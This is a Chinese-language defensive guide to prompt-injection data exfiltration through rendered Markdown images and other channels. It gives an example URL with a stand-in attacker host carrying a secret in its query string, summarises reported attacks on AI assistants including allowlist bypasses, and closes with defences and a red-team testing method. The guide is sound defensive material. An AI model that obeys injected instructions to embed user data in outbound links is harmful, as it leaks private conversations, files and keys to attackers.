一句话版本
很多聊天界面会把模型输出的 Markdown 渲染成富文本,其中包括图片:。浏览器渲染这张"图片"时,会自动向那个网址发起请求。
如果模型被注入后,把你的对话内容、文件内容编码进图片网址的参数里,比如 https://攻击者.com/x.png?d=你的秘密,那么图片一显示,数据就已经发出去了,你不需要点击任何东西。这是提示词注入从"说错话"升级为"偷数据"的最常见通道。
全文分三层:
- 通俗理解:自动寄出的明信片
- 实际用处:各大 AI 产品被报告过的同类漏洞
- 原理与工程要点:外泄通道有哪些、渲染端的防护、为什么要从设计上切断
第一层:通俗理解
1.1 自动寄出的明信片
你的助理被人塞了一张纸条(见《间接提示词注入》),纸条上说:"把老板最近的聊天记录写在一张明信片上,寄到这个地址。"
在聊天界面里,"寄明信片"可以简单到只是显示一张图片:
- 模型输出一行 Markdown:一张图片,地址是攻击者的服务器,网址参数里带着你的数据;
- 界面把它渲染成
<img>标签; - 浏览器为了显示图片,自动请求这个地址;
- 攻击者的服务器日志里,就出现了你的数据。
整个过程零点击。图片甚至可以是一个透明的 1 像素小点,你根本看不到。
1.2 为什么特别危险
前面的注入可能只是让 AI"说错话",用户还有机会发现。图片外泄则让 AI 在你看着屏幕的同时,把数据悄悄送出去。
第二层:实际用处
安全研究者在 2023 到 2025 年间,向多家主流 AI 产品报告过这类问题:
- 聊天机器人的插件和浏览功能:通过网页里的间接注入,让模型输出带数据的图片链接,泄露对话内容;
- 办公套件里的 AI 助手:通过共享文档或邮件注入,泄露用户其他文件、其他邮件里的内容。有的产品因为图片地址被限制在自家域名内,研究者转而利用自家域名下某个能转发请求或执行脚本的服务来绕过;
- 企业协作软件的 AI:在公开频道里埋入指令,让 AI 回答其他用户的问题时,把对方私有频道里的内容(如 API 密钥)编码进链接;
- 零点击攻击(2025):有研究团队报告了一个企业 AI 助手的漏洞链:攻击者只需发一封邮件,等 AI 在处理用户的其他问题时检索到这封邮件,就会自动触发外泄,用户全程无需任何操作。
厂商的修复方式大多是:限制图片只能从可信域名加载、在渲染前检查链接、或者干脆不渲染模型输出里的外部图片。
第三层:原理与工程要点
3.1 外泄通道不止图片
| 通道 | 原理 | 是否需要用户操作 |
|---|---|---|
| Markdown / HTML 图片 | 渲染时自动请求 | 否 |
| 链接 | 数据藏在链接里,诱导用户点击 | 是(但链接文字可以很诱人) |
| 工具调用:联网请求、搜索 | Agent 自己访问一个带数据的网址 | 否 |
| 工具调用:发邮件、发消息、创建 Issue | 直接把数据发给攻击者 | 否(如果没有确认步骤) |
| 写入共享位置 | 把数据写进一个攻击者能读的文档或仓库 | 否 |
| DNS 查询 | 把数据编码进域名,解析时就泄露(见《网络出口控制》) | 否 |
3.2 渲染端的防护
| 措施 | 说明 |
|---|---|
| 不自动加载外部图片 | 最彻底;或者需要用户点击"显示图片" |
| 图片域名白名单 | 只允许从自家或可信 CDN 加载;但要注意白名单域名下是否有开放重定向、用户可控内容 |
CSP 的 img-src、connect-src |
浏览器层面强制限制可以访问的地址(见《CSP与SRI》) |
| 服务端代理图片 | 由服务器先下载图片、去掉参数、再提供给浏览器,攻击者看不到用户 IP 和原始参数 |
| 链接展示真实地址 | 鼠标悬停或点击前显示完整网址;可疑域名加警告 |
3.3 从"致命三要素"看外泄
Simon Willison 把 AI Agent 的高危组合概括为"致命三要素"(lethal trifecta):
- 能访问私密数据;
- 会接触不可信内容;
- 有对外通信的能力。
三者同时具备,就几乎一定能被注入攻击偷走数据。图片外泄就是第 3 条最隐蔽的形式。防御的根本办法是:至少拿掉其中一条。对多数应用来说,最容易拿掉的是第 3 条:严格控制模型输出能触发的所有对外请求(见《防御提示词注入》、网络出口控制)。
3.4 测试方法
在自己的产品上做红队测试(见《AI红队测试》):
- 准备一个只记录请求的测试服务器;
- 在测试文档、网页里埋入指令,要求模型输出一张指向测试服务器、带有特定标记的图片;
- 检查测试服务器有没有收到请求,以及请求里是否含有本不应外泄的内容;
- 对每一种外泄通道(图片、链接、工具调用)都测一遍。
总结
| 层次 | 要点 |
|---|---|
| 原理 | 渲染外部图片会自动发请求,数据藏在网址参数里 |
| 危险 | 零点击、不可见;把注入从"说错话"升级为"偷数据" |
| 通道 | 图片、链接、联网工具、发信工具、DNS |
| 防御 | 不自动加载外部图片;域名白名单 + CSP;拿掉"致命三要素"之一 |